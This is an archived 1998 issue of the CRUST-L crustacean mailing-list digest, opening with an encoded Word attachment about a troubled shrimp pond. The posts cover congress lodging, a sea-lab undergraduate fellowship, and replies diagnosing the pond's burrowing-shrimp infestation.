c2RlIGVsIGN1YWwgc2UgYWxpbWVudGEgYSBsb3MgZXN0YW5xdWVzIGRlIGN1bHRpdm8uDUVs IHLtbyBzZSBsb2NhbGl6YSBhcHJveC4gYSAxNSBrbG1zLiBkZSBsYSBkZXNlbWJvY2FkdXJh IGNvbiBlbCBnb2xmbyBkZSBN6XhpY28gY29uIGxvIHF1ZSBwZXJtYW5lbnRlbWVudGUgbG9n cmFiYW1vcyBhbCBib21iZWFyIGRlbCBmb25kbyBkZWwgcu1vIHNhbGluaWRhZGVzIHZhcmlh YmxlcyBlbnRyZSBsb3MgNSAgMjAgcHBtLiBOb3JtYWxtZW50ZSBubyBzZSByZXF1ZXLtYW4g ZmVydGlsaXphY2lvbmVzIGEgbG9zIGVzdGFucXVlcyBwb3IgbGEgcmlxdWV6YSBkZSBlbCBh Z3VhIHV0aWxpemFkYS4NRGV2aWRvIGFsIHRhcG9uYW1pZW50byBkZSBsYSBiYXJyYSBsb2Nh bGl6YWRhIGVuIGxhIGRlc2VtYm9jYWR1cmEgZGVsIHLtbywgbGEgc2FsaW5pZGFkIHByb21l ZGlvIGRlbCBhZ3VhIGEgZGVjZW5kaWRvIGVuIGxvcyB1bHRpbW9zIGHxb3MgbG8gcXVlIG5v cyBhIHByb3ZvY2FkbyBlbCB0ZW5lciBxdWUgaW5jcmVtZW50YXIgbnVlc3RyYXMgZmVydGls aXphY2lvbmVzIGVuIGxvcyBlc3RhbnF1ZXMgcG9yIHVuYSBiYWphIGVuIGxhIHByb2R1Y3Rp dmlkYWQgcHJpbWFyaWEgYWwgdHJhYmFqYXIgZHVyYW50ZSBwZXJpb2RvcyBwcm9sb25nYWRv cyBjb24gYWd1YSBkdWxjZS4NDUVsIHByaW1lciBlc3RhbnF1ZSBxdWUgZW1wZXpvIGEgcHJl c2VudGFyIHVuIGNvbXBvcnRhbWllbnRvIGF0aXBpY28gc2Vy4SBkZW5vbWluYWRvIGVsIGVz dGFucXVlIE66IDIuIExhIHByaW1lcmEgbWFuaWZlc3RhY2nzbiBsYSB0dXZpbW9zIGVuIGVs IGNpY2xvIGFnb3N0by1ub3ZpZW1icmUgZGUgMTk5NSBkb25kZSBoYWNpYSBmaW5hbGVzIGRl bCBjaWNsbyBkZSBlbmdvcmRhIGRpc21pbnV5byBsYSB0dXJiaWRleiBkZWwgZXN0YW5xdWUg aGFzdGEgYWxjYW56YXIgbGEgdG90YWwgdHJhbnNwYXJlbmNpYS4gIEH6biBhc+0sIHNlIGxv Z3JvIGZpbmFsaXphciBjb24gdW5hIHByb2R1Y2Np824gc3VwZXJpb3IgYSBsYSB0b25lbGFk YSBwb3IgaGVjdGFyZXMgeSBidWVuYSB0YWxsYSBmaW5hbCBkZSBsb3MgY2FtYXJvbmVzLg1B bCBpbmljaWFyIGVsIHNpZ3VpZW50ZSBjaWNsbyBlbiBlc3RlIGVzdGFucXVlLCBzZSBtYW5p ZmVzdG8gdW5hIGNvbG9yYWNp824gbGVjaG9zYSBlbiBlbCBhZ3VhICB5IHVuIHDpc2ltbyBk ZXNhcnJvbGxvIGRlIGxvcyBjYW1hcm9uZXMuICBFcyBpbXBvcnRhbnRlIHRlbmVyIGVuIGN1 ZW50YSBxdWUgc29sbyBlbiBlc3RlIGVzdGFucXVlIE66IDIgc2UgbWFuaWZlc3RvIGVsIHBy b2JsZW1hIHlhIHF1ZSBsb3MgZGVt4XMgY29udGludWFyb24gY29uIGRlc2Fycm9sbG9zIG5v cm1hbGVzLg1BbCBjb3NlY2hhciBzZSBvYnNlcnZvIHF1ZSBlbCBzdWVsbyBkZWwgZXN0YW5x dWUgc2UgZW5jb250cmFiYSBwbGFnYWRvIGRlIG9yaWZpY2lvcyAoIHNlIGludGVudG8gY3Vh bnRpZmljYXIgcmViYXNhbmRvIGxvcyA1MCBwb3IgY2FkYSAxMCBjbXMyLiAsIHNpZW5kbyB2 YXJpYWJsZSBwYXJhIGRpZmVyZW50ZXMgem9uYXMuIExhIHByb2Z1bmRpZGFkIGxvZ3JhYmEg bGxlZ2FyIGVuIG11Y2hvcyAgY2Fzb3MgYWwgbWFudG8gZnJl4XRpY28uDU90cmEgY2FyYWN0 ZXLtc3RpY2EgaW1wb3J0YW50ZSBxdWUgc2UgbWFuaWZlc3RvIGZ1ZSBlbCBjYW1iaW8gZGUg bGEgY29uc2lzdGVuY2lhIGRlbCBzdWVsbywgdG9ybmFuZG9zZSBlc3RhIGVzcG9uam9zYS4N U2UgYXNvbGVhcm9uIGxvcyBlc3RhbnF1ZXMgcG9yIDYwIGTtYXMgeSBzZSB0b21hcm9uIG11 ZXN0cmFzIGRlIHRpZXJyYSBjb24gbG9zIHJlc3VsdGFkb3MgcXVlIHNlIGFuZXhhbjogICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgZXN0YW5xdWUgTrogMg0gICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgZXN0YW5xdWUgc2luIHByb2JsZW1hCQllc3RhbnF1ZSBjb24g cHJvYmxlbWENcHJ1ZWJhB3N1cGVyZmljaWUHZm9uZG8Hc3VwZXJmaWNpZQdmb25kbwcHZm9z Zm9ybyBwcG0HMjYuMgcyOAcyNi40BzIyLjQHB00uTy4gJQcyLjEzBzEuOTMHMS4zNgcxLjU4 BwdOLiAlBzAuMTA2BzAuMDk2BzAuMDY4BzAuMDc5BwdGZSBFeHRyYWN0YWRvIHBwbQc2OAc4 Ni40BzIwLjYHMjIuMgcHRmUgdG90YWwgcHBtBzEyNzAwBzEzNTAwBzE4Nzk5LjIHMTkyMDAH B0sgaW50ZXJjYW1iaWFibGUgbWVxLzEwMGdyLgcxLjE5BzEuMTkHMi4wNgcxLjk4BwdhcmVu YQc0Ngc0Ngc0MgcyOAcHbGltbwcxNgcxNgcxNgcxNAcHYXJjaWxsYQczOAczOAc0Mgc1OAcH DQ1MYXMgbXVlc3RyYXMgc3VwZXJmaWNpYWxlcyBzZSB0b21hcm9uIGRlbCBwcmltZXIgZXN0 cmF0byBhcGFyZW50ZSB5IGxhcyBkZSBmb25kbyBkZSBhcHJveC4gNTAgY21zLiBObyBjdWVu dG8gY29uIHJlZ2lzdHJvcyBkZSBsYXMgY2FyYWN0ZXLtc3RpY2FzIGRlbCBzdWVsbyBkdXJh bnRlIGxhIGZhc2UgZGUgY29uc3RydWNjafNuIGRlIGxhIGdyYW5qYSBwb3IgbG8gcXVlIG5v IHB1ZWRvIHByZXNlbnRhciB1bmEgY29tcGFyYWNp824uDUxvcyBvcmlmaWNpb3MgZGVsIGZv bmRvIGRlbCBlc3RhbnF1ZSBkZSBkaWFtZXRyb3MgdmFyaWFibGVzIHByZXNlbnRhYmFuIGxh cyBjYXJhY3Rlcu1zdGljYXMgdGlwaWNhcyBkZSBsb3MgY29uc3RydWlkb3MgcG9yIGNhbmdy ZWpvcyBwZXF1ZfFvcyBkZSA0IGNtcy4gZGUgbGFyZ28gbeF4aW1vLCBwZXJvIG51bmNhIHNl IGhhbiBtYW5pZmVzdGFkbyBkZSBtYW5lcmEgZXZpZGVudGUsIHkgc29sbyBzZSBsZXMgb2Jz ZXJ2YW4gb2Nhc2lvbmFsbWVudGUuIE90cm8gb3JnYW5pc21vIHF1ZSBsb2dyYW1vcyBvYnNl cnZhciBhbCBtb21lbnRvIGRlIHJlYWxpemFyIGxhIHRvbWEgZGUgbXVlc3RyYXMgcGFyYSBs b3MgYW7hbGlzaXMgZXMgdW4gY2FtYXLzbiBkZSBjb2xvcmFjafNuIGJsYW5jdXNjYSBkZSBh cHJveC4gMiBjbXMsIGRlIGxhcmdvIHkgYXBhcmllbmNpYSBzZW1lamFudGUgYSB1bmEgbWFu dGlzIHBvciBsYXMgdGVuYXphcyBjb24gcXVlIGN1ZW50YS4NU2Vn+m4gbnVldHJhcyBvYnNl cnZhY2lvbmVzIGxhIGFjdGl2aWRhZCBkZSBhbGd1bm8gZGUgZXN0b3Mgb3JnYW5pc21vcyBn ZW5lcmEgcXVlIGxvcyBzZWRpbWVudG9zIHNlIHBvbmdhbiBlbiBzdXNwZW5zafNuIGFjYXJy ZWFuZG9ub3MgY29uc2VjdWVuY2lhcyBlbiBsYSBwcm9kdWN0aXZpZGFkIGRlbCBlc3RhbnF1 ZSwgdHJhbnNmb3JtYW5kb25vcyBsYXMgY2FyYWN0ZXLtc3RpY2FzIGRlbCBzdWVsbyB5IHNv bG8gbG9ncmFtb3MgdW5hIG1lam9y7WEgcmVsYXRpdmEgYWwgdm9sdGVhciBsYSB0aWVycmEg ZGVsIGZvbmRvIGFyYW5kb2xvLCBwZXJvIGVzdGEgZnVlIHBhc2FqZXJhIHlhIHF1ZSBhIGxv cyA0NSBk7WFzIGRlbCBjdWx0aXZvIHZvbHZpbyBhIG1hbmlmZXN0YXJzZSBsYSB0dXJiaWRl eiBwZXJvIGNvbiBtZW5vciBmdWVyemEuDU5vIHB1ZWRvIGFzZWd1cmFyIHF1ZSBsb3MgcmVz cG9uc2FibGVzIGRlIG1pIHByb2JsZW1hIHNlYW4gbG9zIG9yZ2FuaXNtb3MgbWVuY2lvbmFk b3MgcGVybyBubyBoZSBsb2dyYWRvIGRlc2Fycm9sbGFyIG90cmEgaGlwb3Rlc2lzLg1EZXNl byB1dGlsaXphciBhbGd1biB0cmF0YW1pZW50byBuYXR1cmFsIHF1ZSBsb3MgZXJyYWRpcXVl IGRlIG1pIHNpc3RlbWEgv3F1ZSBtZSByZWNvbWllbmRhbj8NDVNpIGRlc2VhbiBtYXlvciBp bmZvcm1hY2nzbiBjb24gbXVjaG8gZ3VzdG8gdHJhdGFyZSBkZSBhbXBsaWFybGENDQ0PAKTS L6XiPaiKBamKBasBANDPEeChsRrhAAAAAAAAAAAAAAAAAAAAADsAAwD+/wkABgAAAAAAAAAA AAAAAQAAAAEAAAAABQBTAHUAbQBtAGEAcgB5AEkAbgBmAG8AcgBtAGEAdABpAG8AbgAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAAgD///////////////8AAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAvAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////////// /////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA////////////////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///////////////8AAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAQAAAAIaJpovuJL0BAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAQAAAAABu8P0MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAABMA AABNaWNyb3NvZnQgV29yZCA2LjAAAAAAAAAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAHgAAAAIAAAAyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// /////////////wADAAC6EwAAyxMAAP37AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACdQEAA2MYAAACAAMAAAEDAABFAwAARgMAAFQD AABVAwAA/AMAAGEEAAAuBQAATQYAAJQHAACVBwAAMQkAAEgKAABDCwAAugsAAHkMAADRDAAA 2AwAAOMMAADpDAAA9AwAAPoMAAD7DAAABw0AAAwNAAAPDQAAFA0AABkNAAAaDQAAIQ0AACYN AAArDQAAMA0AADUNAAA2DQAAOw0AAEENAABHDQAATQ0AAFMNAABUDQAAZg0AAP4AAYciIAH+ AAGHIiAB/gABhyIgAf4AAYciIAH+AAGHIiAB/gAChyIgAf4AAociIAH+AAOHIiAB/gAEhyIg Af4ABIciIAH+AAGHIiAB/gAFhyIgAf4ABIciIAH+AAOHIiAB/gAChyIgAf4AAociIAH+AAGH IiAB+wABeAYgAfsAAXgGIAH7AAF4BiAB+wABeAYgAfsAAXgGIAHtAAF4BiAB+wABeAYgAfsA AXgGIAH7AAF4BiAB+wABeAYgAfsAAXgGIAHtAAF4BiAB+wABeAYgAfsAAXgGIAH7AAF4BiAB +wABeAYgAfsAAXgGIAHtAAF4BiAB+wABeAYgAfsAAXgGIAH7AAF4BiAB+wABeAYgAfsAAXgG IAHtAAF4BiAB+wACeAYgAQAAAAAAAAAADQAAGAEZAbhGAL4OAAW6/74Gwg3GFMobziIAAAIA ABgBAAEAACpmDQAAaQ0AAG4NAABzDQAAeA0AAHkNAACGDQAAjA0AAJINAACaDQAAoA0AAKEN AAC9DQAAwg0AAMcNAADMDQAA0Q0AANINAADYDQAA2w0AAN4NAADhDQAA5A0AAOUNAADqDQAA 7Q0AAPANAADzDQAA9g0AAPcNAAD/DQAAAg4AAAUOAAAIDgAACw4AAAwOAAANDgAADg4AAAYP AADuEAAAkxIAABgTAAB2EwAA/QABeAYgAf0AAXgGIAH9AAF4BiAB/QABeAYgAe8AAXgGIAH9 AAF4BiAB/QABeAYgAf0AAXgGIAH9AAF4BiAB/QABeAYgAe8AAXgGIAH9AAJ4BiAB/QABeAYg Af0AAXgGIAH9AAF4BiAB/QABeAYgAe8AAXgGIAH9AAF4BiAB/QABeAYgAf0AAXgGIAH9AAF4 BiAB/QABeAYgAe8AAXgGIAH9AAF4BiAB/QABeAYgAf0AAXgGIAH9AAF4BiAB/QABeAYgAe8A AXgGIAH9AAF4BiAB/QABeAYgAf0AAXgGIAH9AAF4BiAB/QABeAYgAe8AAXgGIAHtAAGHIiAB 7QABhyIgAe0AA4ciIAHtAAaHIiAB7QAFhyIgAe0AAociIAHtAAKHIiABAAAAAAAAAAABAAAA DQAAGAEZAbhGAL4OAAW6/74Gwg3GFMobziIAAAIAABgBKnYTAAB3EwAAuBMAALkTAAC6EwAA /gABhyIgAf4AAYciIAH+AAGHIiAB/gABhyIgAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAABAAAEDgAPAAgAAQBLAA8AAAAAABoAAEDx/wIAGgAGTm9ybWFsAAIAAAADAGEKBAAAAAAA AAAAAAAAAAAAAAAAAAAoAEFA8v+hACgAG0Z1ZW50ZSBkZSBw4XJyYWZvIHByZWRldGVyLgAA AAAAAAAAAAAAAAAAAAC6EAAABAC6EwAABQD/////AgAEIf//AQAAIf//AgAAAAAAoQoAALoQ AAAAABwAAAABAAAAAAAAAwAAyxMAAAoAAAMAAGYNAAB2EwAAuhMAAAsADAANADkAF0FSRU5B IENPTlNVTFRPUkVTLCBTLkMuHkM6XE1TT0ZGSUNFXFdJTldPUkRcQ1JVUy1MLkRPQ/9ASFAg TGFzZXJKZXQgNC80TQBMUFQxOgBIUFBDTDVFAEhQIExhc2VySmV0IDQvNE0AAAAAAAAAAAAA AAAAAAAACgMGAEQA0wADBwAAAQABAAAAAAAAAAEABwD8/wAAAQAAAAAAHQAAAIjr0REDAAQA AAAAAAAAAAAAAAAAAAAAAAAAAQABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEA LgCgBQAAAgAAAAD/AAIAAAABAAAAAVgCAAAAAAAAAwAAAAAAAAAADgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAdAABIUCBMYXNlckpldCA0LzRN AAAAAAAAAAAAAAAAAAAAAAoDBgBEANMAAwcAAAEAAQAAAAAAAAABAAcA/P8AAAEAAAAAAB0A AACI69ERAwAEAAAAAAAAAAAAAAAAAAAAAAAAAAEAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAABAC4AoAUAAAIAAAAA/wACAAAAAQAAAAFYAgAAAAAAAAMAAAAAAAAAAA4AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHQAAA4ABALkQ AAC5EAAACQAAgAAAuRAAAAAAAAC5EAAAMQAVFpABAABUaW1lcyBOZXcgUm9tYW4ADBaQAQIA U3ltYm9sAAsmkAEAAEFyaWFsACIABAABCIgYAADEAgAAqQEAAAAAc5shBtqbISYAAAAAAgBd AAAAAAAAAAAAAAAAAAAAAAAEAIMQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABcAkIAAAAA AAAAF0FSRU5BIENPTlNVTFRPUkVTLCBTLkMuF0FSRU5BIENPTlNVTFRPUkVTLCBTLkMuAAAA AAAAAAAAANDPEeChsRrhAAAAAAAAAAAAAAAAAAAAADsAAwD+/wkABgAAAAAAAAAAAAAAAQAA AAEAAAAAAAAAABAAAAIAAAABAAAA/v///wAAAAAAAAAA//////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////// //////////////////////////////////////// - --885253686=_Mail_2_=1133463587-- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ End of crust-l-digest V1 #113 ***************************** From owner-crust-l-digest@vims.eduFri Mar 13 11:17:16 1998 Date: Tue, 20 Jan 1998 21:39:02 -0500 From: owner-crust-l-digest@vims.edu Reply to: crust-l@vims.edu To: crust-l-digest@vims.edu Subject: crust-l-digest V1 #114 crust-l-digest Tuesday, 20 January 1998 Volume 01 : Number 114 CRUST-L: bed & breakfast ICC CRUST-L: Dauphin Island Undergrad Research Fellows CRUST-L: Shrimp farm problem Re: CRUST-L: Shrimp farm problem [none] CRUST-L: Shrimp farm problem ---------------------------------------------------------------------- From: platvoet@mail.bio.uva.nl (Dirk Platvoet) Date: Tue, 20 Jan 1998 12:16:06 +0200 Subject: CRUST-L: bed & breakfast ICC Dear colleagues, For the Fourth International Crustacean Congress in Amsterdam we have some relatively cheap bed & breakfast addresses available. These addresses are all in the towncenter near the conferencehall, and the price will be somewhere around 70 Dutch guilders (US$ 35,-) per night. If you are interested please e-mail to me, and I can try to make reservations. cheers, Dirk Dirk Platvoet collection manager Zoological Museum Amsterdam, dept. of crustaceans P.O. Box 94766 1090 GT Amsterdam the Netherlands tel31(20)5256288 fax31(20)5255402 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 20 Jan 1998 09:09:01 -0500 (EST) Subject: CRUST-L: Dauphin Island Undergrad Research Fellows Please respond to Judy Stout, and not to me. Thanks, Jeff - ---------- Forwarded message ---------- From: "Judy P. Stout" Subject: Undergraduate Reseach Fellowships- Fall 1998 (fwd) DAUPHIN ISLAND SEA LAB, ALABAMA UNDERGRADUATE RESEARCH FELLOWSHIPS AVAILABLE September 14 - November 20, 1998 Alabama's Dauphin Island Sea Lab will offer seven fellowships during the Fall Quarter, 1998, for undergraduate students interested in pursuing careers or graduate studies in marine sciences. Students will participate in an intensive 10 week research experience with a faculty mentor with interests similar to the student's. In addition, participants will attend a series of workshops on professional skills and lectures by outstanding visiting scientists. The Sea Lab will award academic credit for this experience with prior approval of the student's home campus. Students in this exciting marine science program will have the opportunity to gain basic research skills, learn analytical techniques, and interpretation and presentation proficiency. Research areas include aspects of the ecology of early life history stages of marine and estuarine fishes; plant-animal interactions in seagrass beds; nutrient biogeochemistry; microbial, phytoplankton and zooplankton ecology; and others. The base for research activities in this program will be the Dauphin Island Sea Lab located on Dauphin Island, in the Gulf of Mexico about four miles off of the Alabama mainland. The Sea Lab serves the academic programs of 22 Alabama colleges and universities, and diverse other visitors from throughout the U.S. The campus includes classrooms, research laboratories, an educational aquarium, dormitory and dining facilities, the library and dockage for research vessels. Fall weather on the Alabama gulf coast is mild and excellent for recreation and field research. Other activities ongoing during the fall include graduate research and classes for 35+ students, research efforts of the 10 resident university faculty, and day-trips for hundreds of kindergarten through high school classes. Undergraduate research fellowships will consist of a stipend of $2,500, on-campus housing and a meal allowance at the Sea Lab, and assistance with travel for those outside of the Mobile, AL area. Funds for this program are provided by the National Science Foundation, Ocean Sciences Division Research Experiences for Undergraduates and the Alabama Marine Environmental Sciences Consortium. Applications are invited from undergraduates in their junior or senior years. Students cannot have graduated at the time of the fellowship. Applications from minorities are especially encouraged. Participants must be U.S. citizens or permanent residents of U.S. territories. Applicants must provide 1)a completed application form, 2) a statement of career goals and research interests, 3) college transcripts, and 4) two letters of recommendation. Review of applications will begin March 1, 1998 and awards will be made no later than April 1, 1998. More information about the Dauphin Island Sea Lab is available at http://www.sites.gulf.net/sealab. A downloadable application form will be available at this address after January 24, 1998. For questions or to request an application form and more information by mail, please contact the REU director below (email preferred with REU on the subject line). Judy P. Stout Dauphin Island Sea Lab Marine Environmental Sciences Consortium P. O. Box 369-370 Dauphin Island, AL 36528 ph: 334-861-7529 FAX:334-861-7540 e-mail: jstout@jaguar1.usouthal.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: "Sergio F. Nates" Date: Tue, 20 Jan 1998 09:14:22 -0600 Subject: CRUST-L: Shrimp farm problem Heberto: Your farm has all the diagnostic characteristics of one that has been invaded by burrowing shrimp of the infraorder Thalassinidea. Welcome to the club. Cheers, Sergio Sergio F. Nates, Ph.D. Biology Department University of Southwestern Louisiana P.O. Box 42451 Lafayette, LA 70504 Phone (318)482-5230 FAX (318) 482-5834 e-mail LRN8889@usl.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Sergio Escutia Date: Tue, 20 Jan 1998 13:59:42 -0700 Subject: Re: CRUST-L: Shrimp farm problem Sergio: Regarding your comment on the invasion of shrimp from the infraorder Thalassinidea in a commercial shrimp pond and its effect on the water quality of the ponds (increased turbidity), ¿Can you or someone else provide bibliographic references about this topic? If you know of any other farms affected, could you please briefly describe their location and comment on the conditions that could have lead to the proliferation of this organism? I thank you in advance. Sergio Escutia Camara Nacional de la Industria Pesquera, Secc. Acuacultura Mazatlan, Sinaloa, Mexico. 82000 Ph. +52 (69) 85 1228 Fax +52 (69) 81 3348 > Heberto: > > Your farm has all the diagnostic characteristics of one that has been > invaded by burrowing shrimp of the infraorder Thalassinidea. > > Welcome to the club. Cheers, Sergio > Sergio F. Nates, Ph.D. > Biology Department > University of Southwestern Louisiana > P.O. Box 42451 > Lafayette, LA 70504 > Phone (318)482-5230 > FAX (318) 482-5834 > e-mail LRN8889@usl.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ From: Jeffrey Shields Date: Tue, 20 Jan 1998 16:17:22 -0500 (EST) Subject: [none] Please respond to LouAnn Reed and not to me. Thanks, Jeff - ---------- Forwarded message ---------- Date: 20 Jan 1998 15:51:00 -0500 From: LouAnn Reed To: CRUST-L post to list (IPM Return requested) Subject: Fwd:AQUAINTHARM-MG> AQUAINTHARM-MG / Feb 15 International ha Does anyone have any information about this discussion group? Thank you for your help. ================================================================================ Dear Sir / Madam, Your address was forwarded to me by Mike Philipps of NACA in Bangkok, Thailand. I understand that Aquaintharm is a discussion group regarding the use of drugs in aquaculture. I should appreciate if I can be included on the e-mail distribution list for Aquaintharm discussion material. I am currently involved with the development of the antibacterial Sarafloxacin Hydrochloride for aquaculture use. I should also appreciate any further details you can provide by e-mail about the Feb 15 International Harmonization Meeting. Yours faithfully, Paul Measures (Regional Manager, Asia) Specialty Animal Health Products ContiAgriTec - Continental Grain Company Tel: 63-33-3208756 Fax: 63-33-3201219 =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU to get additional commands. 